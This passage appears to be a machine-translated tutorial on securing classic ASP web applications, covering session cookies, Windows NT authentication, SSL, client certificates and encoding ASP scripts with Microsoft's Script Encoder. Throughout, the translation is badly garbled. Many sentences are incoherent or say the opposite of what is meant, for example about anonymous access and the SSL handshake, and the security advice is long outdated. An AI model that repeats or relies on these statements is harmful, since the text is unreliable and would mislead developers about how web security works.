that the length (64 bits) of the numbers given, which makes the computer hacker guess sessionid thus to steal the user's activity session may be almost 0. Encrypted SESSION Cookie. Intercepting Computer Hackers for User SessionId Cookie can use this cookie to counter the user. If the ASP application contains private information, credit cards, or bank account numbers, you can start a movable session in your application and get this information. You can prevent the SessionId Cook IE from being intercepted by encrypting communication link between your web server and user browser. 10 Using Authentication Mechanism Protecting the restricted ASP content You can require a user who tries to access the restricted ASP content must have a valid Windows NT account username and password.

Whenever the user tries to access the restricted content, the web server will authenticate, that is, confirm the user's identity to check if the user has a valid Windows NT account. The web server supports the following authentication methods: Basic authentication prompts the user to enter the username and password. Windows NT request / response authentication, user identity information from the user's web browser through encryption. However, the Web server verifies the user's identity only when anonymous access or permission to restrict anonymity access to anonymity. 11 Protecting metabase access metabase ASP scripts require administrator privileges for computers running by the web server. When running these scripts from a remote computer, it must be connected via authentication, such as using a Windows NT request / response verification method. You should create a server or directory for the management level .asp file and set its directory security verification mode to Windows NT request / response authentication. Currently, only Microsoft Internet Explorer Version 2.0 or higher supports Windows NT request response authentication. 12 Security SSL (Secure Sockets Layer) with SSL Maintenance Application is a network data secure transmission agreement that is first published by Netscape, which provides a secret and reliable connection between two communication rooms. The protocol consists of two layers, and the bottom layer is a recording layer that is built in a reliable transmission protocol (for example: TCP), which is used to encapsulate high-level protocols. The SSL Handshake Protocol allows the server to identify each other by a particular encryption algorithm before starting the data before starting the data. The advanced SSL is that it is an independent application protocol that can be built on the SSL protocol. The SSL3.0 protocol is a Web server security feature, providing a secure virtual transparent way to establish encrypted communication with the user. SSL guarantees the verification of the Web content and reliably confirms the identity of the user who is restricted Web site. With SSL, you can request a user who tries to access the restricted ASP application to establish an encrypted connection with your server; important information exchanged between users and applications is intercepted. For example, many web-based ASP forums will provide registered users to send information from each other. This information is expressly transmitted. If it is easy to listen to people in the Internet cafe. If a layer of SSL authentication is added, it will prevent the transmission of information from being listened. 13 Customer Qualification Control For a very secure method of accessing your ASP application is to require users to log in using customer qualifications. Customer qualification is a digital ID that includes user identity information, its role is the same as the traditional identity such as a passport or driver's license. Users typically obtain customer qualifications from the delegated third party organization, and third party organizations confirm the user's identity information before the qualification certificate. (Usually, such organizations require name, address, telephone number and the organization name; the detailed level of this information is different from the identity level.) Whenever the user tries to log in to an application that requires qualified application, the user's Web The browser will automatically send user qualifications to the server. If the SECURE SOCKETS LAYER (SSL) qualification map feature of the web server is configured correctly, the server can confirm the identity of the ASP application accessed on the license user. As an ASP application developer, you can write scripts to check if there is or read qualification fields. For example, you can access username and company name fields from qualification certificates. Active Server Pages saves qualification information in the ClientCertificate collection of the Request object. The web server must be configured to accept or require customer qualifications, and then can handle customer qualifications through the ASP; otherwise, the ClientCertificate collection will be empty.

14 ASP encryption Since the ASP script is written in a plain text, the ASP application developer has worked hard, it is difficult to ensure that these "source code" is not guaranteed once it is released to the running environment. Will be circulated out. This creates how to effectively protect the needs of the developed ASP script source code. Official encryption procedure: Download free SCE10chs.exe from Microsoft to complete the installation process. After installation, the Screnc.exe file will be generated, which is a command tool running on DOS ProPt. Running Screnc - l vbscript source.asp destination.asp Generates new files that contain ciphertext ASP scripts Destination.asp opens with Notepad to see if "<% and%>", regardless of whether it is annotated, it becomes unrelated Ciphertext, but could not encrypt in Chinese. Several ASP source code protection methods: 1. "Script Minimize", only write only as possible to the Source code as possible, and implement the business logic's script section to be encapsulated into a COM / DCOM component and create it in the ASP script. Components, thereby calling the corresponding method. Before using developers to develop an ASP script application, you can develop the prototype system directly to quickly develop the prototype system with the ASP script, and use the COM / DCOM component to re-develop, implement and replace it with the COM / DCOM components for important scripts that need to protect, encrypted. 2, "Script Encryption", the ASP script is still developed directly according to the source code, but encrypts the script before publishing to the runtime environment, as long as the encrypted ciphertext script is released. That is, the process of reading the ciphertext reduction is added to the ASP.DLL read script. There are two ways to implement this idea: First, develop a IS Filter block that you can develop, and read (hook) to the ASP script file before the ASP.DLL, so that the file system reads the ciphertext It can be explained to the plain text that can be explained in Asp.dll; the method is directly supported by ASP.DLL to support the ASP scripting encryption. Microsoft provides this support for MS Script Encode technology in the new version of VBScript.dll JScript.dll. In this way, whether the client's VBScript JScript (including WSH script, etc.) or the server-side VBScript JScript (ie, ASP script) can support encryption processing. The specific implementation of the MS Script Encode technology includes the following two aspects: First, the encryption process, use a utility to scan the text file containing the ASP script source code, find out its tags as